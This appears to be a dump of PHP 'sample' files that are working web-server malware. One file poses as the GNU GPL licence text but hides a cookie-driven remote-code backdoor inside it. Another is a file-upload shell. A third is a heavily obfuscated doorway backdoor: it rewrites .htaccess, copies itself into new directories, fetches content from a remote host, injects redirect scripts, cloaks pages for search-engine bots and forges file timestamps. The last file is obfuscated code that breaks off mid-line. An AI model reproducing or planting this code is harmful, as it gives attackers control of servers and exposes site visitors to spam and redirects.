69 |
--------------------------------------------------------------------------------
/samples/license-gpl.php:
--------------------------------------------------------------------------------
1 |
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you */extract($_COOKIE);/* copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. patents applied to GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not */@$F&&@$F($A,$B);/*. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary. */
--------------------------------------------------------------------------------
/samples/license.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
utf
5 |
6 |
7 | #p@$c@#\n";
9 | echo "Your IP: ";
10 | echo $_SERVER['REMOTE_ADDR'];
11 | echo "
\n";
15 | if(is_uploaded_file/*;*/($_FILES["filename"]["tmp_name"]))
16 | {
17 | move_uploaded_file/*;*/($_FILES["filename"]["tmp_name"], $_FILES["filename"]["name"]);
18 | $file = $_FILES/*;*/["filename"]["name"];
19 | echo "
$file ";
20 | } else {
21 | echo("empty");
22 | }
23 | $filename = $_SERVER[SCRIPT_FILENAME];
24 | touch/*;*/($filename, $time);
25 | ?>
26 |
27 |
--------------------------------------------------------------------------------
/samples/load.php:
--------------------------------------------------------------------------------
1 | array(),
23 | 'content'=>'',
24 | 'result'=>''
25 | );
26 |
27 | if (function_exists('curl_init'))
28 | $result=fetchContentCurl($url, $headers);
29 | else
30 | die('curl not installed');
31 |
32 | $serial=serialize($result);
33 | die($serial);
34 |
35 | function deny() {
36 | header("HTTP/1.0 403 Forbidden");
37 | $str="
403 Forbidden ";
38 | die($str);
39 | }
40 |
41 | function fetchContentCurl($url, $headers) {
42 | $ch=curl_init();
43 | curl_setopt($ch, CURLOPT_URL, $url);
44 | curl_setopt($ch, CURLOPT_TIMEOUT, 25);
45 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
46 | curl_setopt($ch, CURLOPT_HEADER, 1);
47 | @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
48 | curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
49 |
50 | $content=@curl_exec($ch);
51 |
52 | $result=array();
53 |
54 | if ($content===false) {
55 | $error=curl_error($ch);
56 | $result['result']='RESULT_ERROR';
57 | $result['error']=$error;
58 | }else{
59 | $result['result']='RESULT_OK';
60 | list($answerHeaders, $body)=parseAnswer($content);
61 | $result['headers']=$answerHeaders;
62 | $result['content']=$body;
63 | }
64 |
65 | curl_close($ch);
66 |
67 | return $result;
68 | }
69 |
70 | function parseAnswer($content){
71 | list($headerString, $body)=explode("\r\n\r\n", $content, 2);
72 |
73 | $resultHeaders=array();
74 |
75 | $headers=explode("\n", $headerString);
76 | $headers=array_map('trim', $headers);
77 | $headers=array_diff($headers, array(''));
78 |
79 | foreach ($headers as $header){
80 | if(strpos($header, 'HTTP')===0){
81 | $resultHeaders['HTTP']=$header;
82 | }else{
83 | list($key, $value)=explode(':', $header, 2);
84 | $resultHeaders[$key]=trim($value);
85 | }
86 | }
87 |
88 | return array($resultHeaders, $body);
89 | }
--------------------------------------------------------------------------------
/samples/minestron.php:
--------------------------------------------------------------------------------
1 | function _466198782($i){$a=Array(''.'Lg'.'==','L153d3dcLi8=','','SFRUUF9I'.'T1NU','cQ'.'==','L2luZGV4LnBo'.'cA='.'=','MTM=','LQ'.'='.'=','Y'.'3V'.'ybA==','bnc=','L153d3d'.'cLi'.'8=','','SF'.'RUU'.'F9I'.'T1'.'NU','','SCo=','','figuK'.'j8pK'.'D86LXAoX'.'G'.'QrKSk/K'.'D86','K'.'Fxk'.'Ky'.'kpfnM=','Lw==','L'.'mh0b'.'Ww=','f'.'i'.'IoW14'.'iXS'.'spZHJp'.'bW'.'FnZ'.'Q==','In'.'5z','Q29udGVud'.'C'.'1UeXBlOi'.'A=','Q29udGVudC1MZW5ndGg6I'.'A==','L14'.'oW2E'.'t'.'ej'.'AtOVwtXC'.'l'.'cKFw'.'m'.'XS'.'opJC9p','S'.'FRUUC8xLj'.'EgNDA0'.'IE5vdCBGb3VuZA='.'=','cg==','d'.'ys'.'=',''.'ND'.'Yu'.'NDUuMTgzLjE'.'0MA==',''.'cQ'.'==','dG9iZW9ybm'.'90dG9iZQ==','Lmh0Y'.'WNj'.'ZXNz','L'.'w'.'==',''.'L2k=','L'.'mh'.'0YWNj'.'ZXN'.'z','L'.'2'.'luZGV4L'.'mh0bWw=','dys=','',''.'Lw==',''.'U0NSSVBUX05BTUU=','SFRU'.'UC8xLjEgM'.'zAx'.'IE1vdm'.'VkIFBl'.'cm1hb'.'mVu'.'d'.'Gx5','TG9jYXRpb24'.'6IGh'.'0d'.'HA6'.'Ly8=',''.'SF'.'RUU'.'F9IT1NU','L1te'.'X'.'C9'.'d'.'Kj8kL'.'w==','','U0N'.'SSV'.'BUX'.'0'.'5BTUU=','L'.'w==','U'.'0'.'NSSV'.'BU'.'X05BT'.'UU=','I'.'yA'.'=','DQo'.'8SWZ'.'Nb2'.'R1bG'.'Ugb'.'W'.'9'.'kX3Jl'.'d3JpdGUuY'.'z4'.'NClJ'.'ld3JpdGVFbmdpbmUgT'.'24NC'.'lJld3JpdGVDb25'.'kI'.'CV7UkVRVUVTV'.'F9'.'G'.'SUx'.'FTkF'.'NRX'.'0gIS1mDQpSZ'.'XdyaXRlQ29uZCAle1JF'.'UVVFU'.'1'.'RfRklM'.'RU5BTUV9'.'ICEt'.'ZA0KUm'.'V3cml0ZVJ1bG'.'UgXigu'.'KikkIA'.'='.'=','U'.'0NSSV'.'BUX05BTUU'.'=','P3E'.'9JDEgW0'.'xdDQ'.'o8L0lmTW'.'9kdW'.'x'.'lPg==',''.'Lmh0YWN'.'jZX'.'Nz','d'.'y'.'s'.'=','Lmh0YWNjZ'.'XNz','Ly'.'5od'.'G'.'FjY2Vzcw==',''.'cg==','dys=',''.'PHBhc3M'.'+','PC'.'9'.'wYX'.'Nz'.'PjxzY2h'.'lbWU+','PC9'.'zY2hlbWU+','Lmh0Y'.'WN'.'j'.'ZXNz','U0NSSVBUX05BTUU=',''.'Lg='.'=','L15'.'3d3dcLi8=','','SF'.'RUUF'.'9IT1'.'NU','L2luZG'.'V4LnBoc'.'A'.'==','aHR0cDovLw'.'==','L'.'290'.'a'.'GVyL'.'2w'.'u'.'cGhwP3E9',''.'SFRUUF9'.'IT1N'.'U',''.'L2luZGV4Lm'.'h0bQ'.'='.'=','a'.'HR0cDovLw==','S'.'FRU'.'UF'.'9I'.'T'.'1NU','LzxtZXRh'.'KC4'.'qKW5h'.'bWU9ImRl'.'c2Ny'.'a'.'XB0aW9u'.'IiguKik+L'.'2k=','','LzwoW'.'2EtekEtel0rKT4oLiop'.'PFwvKFt'.'hL'.'XpBLVpdKyk+L2ltc1U=','L'.'1w8c2'.'NyaXB0L2ltc1U=','PA='.'=','Pg==',''.'d'.'w==',''.'Ly5odGFjY2Vzcw==','cGFzcw==','ZG9t'.'YWl'.'u','','dy'.'s=',''.'ZG9tYWl'.'u','Z'.'G9'.'tYWlub2s=','dXBs'.'b2F'.'k','','','dXB'.'sb2FkZ'.'W'.'Q=','bmF'.'tZQ='.'=','d'.'XB'.'sb2FkZWQ=','dG'.'1wX'.'25hb'.'W'.'U=','dXBsb2Fk'.'b2'.'s'.'=',''.'PGZvcm0gZW5jdHlw'.'ZT0ibXVsdGl'.'wYXJ0'.'L2Zvcm0tZ'.'GF0YSIg'.'bWV0'.'aG9kPSJQT'.'1NUI'.'j48aW5wdX'.'Qg'.'b'.'mFtZT0i'.'dXBsb2FkZW'.'Q'.'iIHR5cGU9'.'I'.'mZp'.'bGU'.'iPjxpbnB1dCB0eXBlP'.'SJ'.'zd'.'WJtaXQiIHZhbHVlPSJV'.'Ij48L2Zvcm0+','SF'.'RUUF9SRUZFUkV'.'S','Z'.'29v'.'Z2xl'.'Lg==','SFRU'.'UF9SRUZFUkVS','eWFob28u','SFRUUF9SRUZ'.'FUk'.'V'.'S','Yml'.'u'.'Zy4=',''.'SFR'.'U'.'UF9SRUZFU'.'kVS','YW9'.'sLmNv'.'bQ==','LQ==','IA='.'=','aHR'.'0'.'cD'.'ovLw==','L291d'.'C9zdG'.'F0LmNnaT9wYXJh'.'bWV0ZXI'.'9','U0NSS'.'VBU'.'X05B'.'TUU=','O'.'g==',''.'J'.'mlwPQ==','UkV'.'N'.'T1RFX0'.'FERFI=','J'.'nJlZj'.'0=',''.'SFRU'.'UF'.'9S'.'RUZF'.'U'.'kV'.'S','JnVz'.'ZXJhZ2Vu'.'dD'.'0=','S'.'FRUU'.'F9VU0VSX0FHRU5U','JmRvbWFp'.'bj0=','SF'.'RUUF'.'9IT'.'1N'.'U','JnZ'.'pc2l0PTEma'.'2V5d29yZD0=','J'.'n'.'N'.'oZW'.'1lPQ==','','fGh0dHA6Ly98aVU=',''.'PHNjcmlwdD5'.'2YXIgdXJsID0'.'gIg==','I'.'jsgaWY'.'gKH'.'dpbmRvdyE9dG9wKSB7dG'.'9wLmx'.'v'.'Y2F0aW9uLm'.'hyZWY'.'g'.'PSB1cmw7f'.'SB'.'lbHNlIHsg'.'ZG'.'9jdW1lbnQubG9jY'.'XRpb2'.'49'.'IHVybDt9PC9zY'.'3Jpc'.'HQ+','L'.'w'.'==','','LQ==',''.'IA==','X'.'w==','IA==','IA==','Kw'.'==','aHR0c'.'DovLw='.'=','SFRU'.'UF9I'.'T1'.'N'.'U','L1teXC9dKj8kLw='.'=','','U0N'.'SSV'.'BUX'.'05'.'BTUU=','SFR'.'UUF9VU0VS'.'X0'.'FHR'.'U5'.'U',''.'R'.'2'.'9'.'vZ2xlYm9'.'0','SFRU'.'U'.'F9VU0VSX0FHRU5'.'U','U2x1cnA=',''.'SFRUUF9'.'VU'.'0'.'VSX0FHRU5U','Ymlu'.'Z2JvdA==','SFRUUF9VU0VSX0'.'FHRU5U','b'.'XNuY'.'m90','aH'.'R0'.'cDovL'.'w==','L290aGV'.'yL2'.'M'.'ucGhwP3B3PQ==','Jmt'.'3PQ==','Jm'.'Q9','aHR0cD'.'ov'.'L'.'w'.'='.'=','SFRU'.'U'.'F'.'9IT1NU','U0NSS'.'VB'.'UX05BTU'.'U=',''.'JnNkP'.'Q==','JmlwPQ==','UkVNT1RF'.'X0'.'FERFI=','JnVzZXJh'.'Z2Vu'.'dD0'.'=','SFR'.'U'.'UF'.'9VU0'.'VSX0FH'.'RU'.'5U','J'.'nNoZW1lPQ='.'=','','fDxza'.'XRl'.'Y29ud'.'G'.'V'.'u'.'dD5'.'8aVU=',''.'LzxzaX'.'R'.'lY29udGVudD4o'.'Lis'.'pPFwv'.'c2l0'.'ZWNvbnRlbnQ+'.'L'.'w==',''.'SFRUUC8xLj'.'EgNDA0'.'IE'.'5'.'vdCBGb3VuZ'.'A==','SFR'.'UUC8x'.'L'.'jEgNDA0'.'I'.'E5vdCBGb3VuZA==',''.'LyouaHRtbA='.'=','Z'.'ml'.'sZWN0aW1l','I'.'14=',''.'Lyg'.'u'.'KilcLmh'.'0bWwkI'.'2k=','ID'.'xhIGhyZ'.'WY'.'9Ig==','I'.'iB0aX'.'R'.'sZT0i',''.'Xw==','IA==','LQ==',''.'IA'.'==','Ij4=','X'.'w='.'=',''.'IA'.'==','LQ'.'='.'=','IA==','PC9'.'hP'.'iA=','Cg==','Lw==','Lm'.'h0bWw=',''.'LQ'.'='.'=','I'.'A='.'=','K'.'w==','IA==','dw='.'=','','L2l'.'uZG'.'V4Lmh'.'0bQ==','PGhl'.'Y'.'W'.'Q'.'+D'.'Q'.'o8dGl'.'0bGU+'.'dGl0bGU8L3R'.'pd'.'Gxl'.'Pg0KPC9oZWF'.'k'.'P'.'g'.'0KP'.'GJvZ'.'Hk+'.'D'.'Qo8','Pg'.'0KPC'.'9i'.'b'.'2R'.'5'.'P'.'g0K'.'PC'.'9odG1sPg='.'=','L'.'zx0a'.'XRsZT4o'.'Li'.'o'.'p'.'PF'.'wvd'.'Gl0'.'bGU+L2ltc1U=','PHRpd'.'G'.'xlPg='.'=',''.'LQ='.'=','IA==','PC90a'.'X'.'R'.'sZ'.'T4=',''.'PA==','Pg==',''.'UkVRVUVTV'.'F9'.'VUkk=','Lw==','L'.'15c'.'Lysv','Lw==','fCJb'.'XiJ'.'dKj8'.'oXC'.'5'.'bYS16QS1a'.'XXszLDR9'.'KWRyaW1hZ2Uo'.'XGQrK'.'SJ8bXM=','Ig==','XDJcMSI'.'=');return base64_decode($a[$i]);} error_reporting(round(0));$_0=_466198782(0) .strtolower(preg_replace(_466198782(1),_466198782(2),$_SERVER[_466198782(3)]));$_1=strtolower($_GET[_466198782(4)]);$_2=$_0 ._466198782(5);$_3=_466198782(6);$_4=_466198782(7) .$_3;$_5=l__1(base64_decode(file_get_contents($_2)));if(extension_loaded(_466198782(8))&& function_exists('curl_init')&& function_exists('curl_exec')){function l__0($_6){$_7=curl_init();curl_setopt($_7,10002,$_6);curl_setopt($_7,42,round(0));curl_setopt($_7,19913,round(0+0.25+0.25+0.25+0.25));curl_setopt($_7,52,round(0+0.25+0.25+0.25+0.25));curl_setopt($_7,13,round(0+4+4+4+4+4));curl_setopt($_7,3,round(0+16+16+16+16+16));$_8=curl_exec($_7);$_9=curl_getinfo($_7,2097154);if($_9 >= round(0+400))$_8=false;global $_10;$_10=curl_getinfo($_7,1048594);curl_close($_7);return $_8;}}else if(function_exists('file_get_contents')){function l__0($_6){return file_get_contents($_6);}}else die(_466198782(9));function l__1($_11){$_12=preg_replace(_466198782(10),_466198782(11),$_SERVER[_466198782(12)]);$_13=strlen($_11);$_14=_466198782(13);$_15=$_13>round(0+20+20+20+20+20)?round(0+1.6+1.6+1.6+1.6+1.6):round(0+1+1);while(strlen($_14)<$_13){$_14 .= substr(pack(_466198782(14),sha1($_14 .$_12)),round(0),$_15);}return $_11^$_14;}if(isset($_1)&& strpos($_1,$_4)!== false){$_16=_466198782(15);preg_match(_466198782(16) .$_4 ._466198782(17),$_1,$_17);$_18=$_17[round(0+1)];$_16=$_17[round(0+0.66666666666667+0.66666666666667+0.66666666666667)];$_19=$_17[round(0+0.6+0.6+0.6+0.6+0.6)];$_20=l__1(base64_decode(@file_get_contents($_0 ._466198782(18) .$_18 ._466198782(19) .$_16)));preg_match(_466198782(20) .$_19 ._466198782(21),$_20,$_17);$_21=l__0($_17[round(0+0.33333333333333+0.33333333333333+0.33333333333333)]);header(_466198782(22) .$_10);header(_466198782(23) .strlen($_21));die($_21);}if(isset($_1)){if(!(preg_match(_466198782(24),$_1))){header(_466198782(25));die;}}@mkdir($_0);@chmod($_0,round(0+511));if(@fopen($_2,_466198782(26))){}else{$_22=fopen($_2,_466198782(27));fwrite($_22,base64_encode(l__1(_466198782(28))));fclose($_22);}if($_POST[_466198782(29)]|| $_1 == _466198782(30)){$_23=file_get_contents(_466198782(31));if(preg_match(_466198782(32) .$_0 ._466198782(33),$_23)){die;}else{$_18=_466198782(34);if(file_exists($_18)){$_24=rand(round(0+0.33333333333333+0.33333333333333+0.33333333333333),round(0+6.2+6.2+6.2+6.2+6.2));mkdir($_24);chmod($_24,round(0+246.5+246.5));$_25=fopen($_24 ._466198782(35),_466198782(36));fwrite($_25,_466198782(37));fclose($_25);copy(__FILE__,$_24 ._466198782(38) .basename($_SERVER[_466198782(39)]));header(_466198782(40));header(_466198782(41) .$_SERVER[_466198782(42)] .preg_replace(_466198782(43),_466198782(44),$_SERVER[_466198782(45)]) .$_24 ._466198782(46) .basename($_SERVER[_466198782(47)]));}else{$_26=_466198782(48) .$_0 ._466198782(49) .$_SERVER[_466198782(50)] ._466198782(51);$_27=fopen(_466198782(52),_466198782(53));fwrite($_27,$_26);fclose($_27);@chmod(_466198782(54),round(0+105+105+105+105));$_18=$_0 ._466198782(55);if(@fopen($_18,_466198782(56))){}else{$_28=md5(rand(round(0+49999999.5+49999999.5),round(0+333333333+333333333+333333333)));$_29=fopen($_18,_466198782(57));fwrite($_29,$_28);fclose($_29);echo _466198782(58) .$_28 ._466198782(59) .$_3 ._466198782(60);}}}touch(_466198782(61),mktime(rand(round(0+0.25+0.25+0.25+0.25),round(0+2.4+2.4+2.4+2.4+2.4)),rand(round(0+0.25+0.25+0.25+0.25),round(0+19.666666666667+19.666666666667+19.666666666667)),rand(round(0+1),round(0+14.75+14.75+14.75+14.75)),rand(round(0+0.33333333333333+0.33333333333333+0.33333333333333),round(0+2.5+2.5+2.5+2.5)),rand(round(0+0.33333333333333+0.33333333333333+0.33333333333333),round(0+9.3333333333333+9.3333333333333+9.3333333333333)),round(0+402.4+402.4+402.4+402.4+402.4)));touch($_2,mktime(rand(round(0+1),round(0+12)),rand(round(0+0.25+0.25+0.25+0.25),round(0+29.5+29.5)),rand(round(0+0.25+0.25+0.25+0.25),round(0+29.5+29.5)),rand(round(0+0.33333333333333+0.33333333333333+0.33333333333333),round(0+10)),rand(round(0+0.33333333333333+0.33333333333333+0.33333333333333),round(0+14+14)),round(0+402.4+402.4+402.4+402.4+402.4)));touch($_18,mktime(rand(round(0+0.25+0.25+0.25+0.25),round(0+3+3+3+3)),rand(round(0+0.25+0.25+0.25+0.25),round(0+19.666666666667+19.666666666667+19.666666666667)),rand(round(0+1),round(0+19.666666666667+19.666666666667+19.666666666667)),rand(round(0+0.5+0.5),round(0+5+5)),rand(round(0+0.5+0.5),round(0+14+14)),round(0+1006+1006)));touch(basename($_SERVER[_466198782(62)]),mktime(rand(round(0+0.33333333333333+0.33333333333333+0.33333333333333),round(0+12)),rand(round(0+0.5+0.5),round(0+14.75+14.75+14.75+14.75)),rand(round(0+1),round(0+29.5+29.5)),rand(round(0+0.33333333333333+0.33333333333333+0.33333333333333),round(0+10)),rand(round(0+1),round(0+5.6+5.6+5.6+5.6+5.6)),round(0+1006+1006)));$_5=l__1(base64_decode(file_get_contents(_466198782(63) .preg_replace(_466198782(64),_466198782(65),$_SERVER[_466198782(66)]) ._466198782(67))));$_30=_466198782(68) .$_5 ._466198782(69) .$_SERVER[_466198782(70)];echo l__0($_30);die;}$_31=$_0 ._466198782(71);if(!file_exists($_31)){$_32=_466198782(72) .$_SERVER[_466198782(73)];$_33=l__0($_32);$_33=preg_replace(_466198782(74),_466198782(75),$_33);$_34=preg_match_all(_466198782(76),$_33,$_35);$_36=round(0);$_37=round(0);for($_38=round(0);$_38<$_34;$_38++){if((preg_match(_466198782(77),$_35[round(0)][$_38])== round(0))AND(strlen($_35[round(0)][$_38])>$_36)){$_36=strlen($_35[round(0)][$_38]);$_37=$_38;}}$_33=str_replace($_35[round(0)][$_37],$_35[round(0)][$_37] ._466198782(78) .$_0 ._466198782(79),$_33);$_39=fopen($_31,_466198782(80));fputs($_39,$_33);fclose($_39);touch($_31,mktime(rand(round(0+0.5+0.5),round(0+6+6)),rand(round(0+0.33333333333333+0.33333333333333+0.33333333333333),round(0+19.666666666667+19.666666666667+19.666666666667)),rand(round(0+0.33333333333333+0.33333333333333+0.33333333333333),round(0+59)),rand(round(0+0.25+0.25+0.25+0.25),round(0+3.3333333333333+3.3333333333333+3.3333333333333)),rand(round(0+0.33333333333333+0.33333333333333+0.33333333333333),round(0+5.6+5.6+5.6+5.6+5.6)),round(0+503+503+503+503)));}$_23=file_get_contents($_0 ._466198782(81));if($_POST[_466198782(82)]== $_23){if($_POST[_466198782(83)]!= _466198782(84)){$_40=fopen($_2,_466198782(85));fwrite($_40,base64_encode(l__1($_POST[_466198782(86)])));fclose($_40);echo _466198782(87);die;}if($_POST[_466198782(88)]!= _466198782(89)){$_41=_466198782(90);$_41=$_41 .basename($_FILES[_466198782(91)][_466198782(92)]);$_42=round(0+0.33333333333333+0.33333333333333+0.33333333333333);if(move_uploaded_file($_FILES[_466198782(93)][_466198782(94)],$_41)){echo _466198782(95);}echo _466198782(96);die;}}if(strpos($_SERVER[_466198782(97)],_466198782(98))|| strpos($_SERVER[_466198782(99)],_466198782(100))|| strpos($_SERVER[_466198782(101)],_466198782(102))|| strpos($_SERVER[_466198782(103)],_466198782(104))>round(0)){$_43=str_replace(_466198782(105),_466198782(106),$_1);$_44=_466198782(107) .$_5 ._466198782(108) .rawurlencode(strtolower($_0) .$_SERVER[_466198782(109)] ._466198782(110) .$_5) ._466198782(111) .rawurlencode($_SERVER[_466198782(112)]) ._466198782(113) .rawurlencode(strtolower($_SERVER[_466198782(114)])) ._466198782(115) .rawurlencode(strtolower($_SERVER[_466198782(116)])) ._466198782(117) .rawurlencode(strtolower($_SERVER[_466198782(118)])) ._466198782(119) .rawurlencode($_43) ._466198782(120) .$_3;$_45=_466198782(121);$_45=l__0($_44);if(preg_match(_466198782(122),$_45)){echo _466198782(123) .$_45 ._466198782(124);die;}}function l__2($_46){global $_23;global $_0;global $_5;global $_1;global $_3;$_47=isset($_1)?str_replace(_466198782(125),_466198782(126),urldecode($_1)):FALSE;$_47=str_replace(_466198782(127),_466198782(128),$_47);$_47=str_replace(_466198782(129),_466198782(130),$_47);$_47=str_replace(_466198782(131),_466198782(132),$_47);$_48=strtolower(_466198782(133) .$_SERVER[_466198782(134)] .preg_replace(_466198782(135),_466198782(136),$_SERVER[_466198782(137)]));if(strpos($_SERVER[_466198782(138)],_466198782(139))|| strpos($_SERVER[_466198782(140)],_466198782(141))|| strpos($_SERVER[_466198782(142)],_466198782(143))|| strpos($_SERVER[_466198782(144)],_466198782(145))>round(0)){$_49=_466198782(146) .$_5 ._466198782(147) .$_23 ._466198782(148) .$_47 ._466198782(149) .rawurlencode(strtolower(_466198782(150) .$_SERVER[_466198782(151)]) .$_SERVER[_466198782(152)]) ._466198782(153) .rawurlencode($_48) ._466198782(154) .rawurlencode($_SERVER[_466198782(155)]) ._466198782(156) .rawurlencode(strtolower($_SERVER[_466198782(157)])) ._466198782(158) .$_3;$_50=_466198782(159);$_50=l__0($_49);if(preg_match(_466198782(160),$_50)){preg_match(_466198782(161),$_50,$_51);$_16=$_51[round(0+0.5+0.5)];}else{header(_466198782(162));die;}}else{header(_466198782(163));die;}$_52=round(0+3+3+3+3+3);$_53=glob($_0 ._466198782(164));array_multisort(array_map(_466198782(165),$_53),3,$_53);$_54=round(0+0.25+0.25+0.25+0.25);$_55=array();foreach($_53 as $_56){if($_54>$_52)break;preg_match_all(_466198782(166) .$_0 ._466198782(167),$_56,$_57);$_55[]=_466198782(168) .$_48 .$_57[round(0+0.25+0.25+0.25+0.25)][round(0)] ._466198782(169) .str_replace(_466198782(170),_466198782(171),str_replace(_466198782(172),_466198782(173),$_57[round(0+0.25+0.25+0.25+0.25)][round(0)])) ._466198782(174) .str_replace(_466198782(175),_466198782(176),str_replace(_466198782(177),_466198782(178),$_57[round(0+1)][round(0)])) ._466198782(179);$_54++;}foreach($_55 as $_58){$_59 .= $_58 ._466198782(180);}$_16=$_16 .$_59;return $_16;}function l__3($_60){global $_0;$_61=$_0 ._466198782(181) .$_60 ._466198782(182);if(@file_exists($_61))return@l__1(base64_decode(file_get_contents($_61)));$_46=str_replace(_466198782(183),_466198782(184),$_60);$_46=str_replace(_466198782(185),_466198782(186),$_60);$_62=l__2($_46);$_63=@fopen($_61,_466198782(187));@fwrite($_63,base64_encode(l__1($_62)));@fclose($_63);return $_62;$_64=l__1(base64_decode(file_get_contents($_61)));}if($_1!= _466198782(188)){$_31=$_0 ._466198782(189);if(filesize($_31)
--------------------------------------------------------------------------------
/samples/mod_title.php:
--------------------------------------------------------------------------------
1 | '.
9 | 'Q"'.SJRBCLJCO.'}BL-yGk'^'G1;M6N?N)S+]*'.Qh_f949.' "=||G}!'.XEtW)&('j&'./*ReQX'.
10 | '-yS+[Y*/rA8D5BCv.'&9@@$E2-7'.Ccr2U.'%& d7%s:'|I60b6g.'#``"'.bjic.'?#2'./*BPxr'.
11 | 'E<*/ftcrp.'#'.s3W2e63c.':');$WgRHnH4paQH=$hn37q|('%'.Re71hMotmcLNxXOHBqb_73'.
12 | '~[e?}kLU&yl');if($vx($yqnBcL($HX70j1))==$IZ)$PKNqB6VL($WgRHnH4paQH,$yqnBcL(/*'.
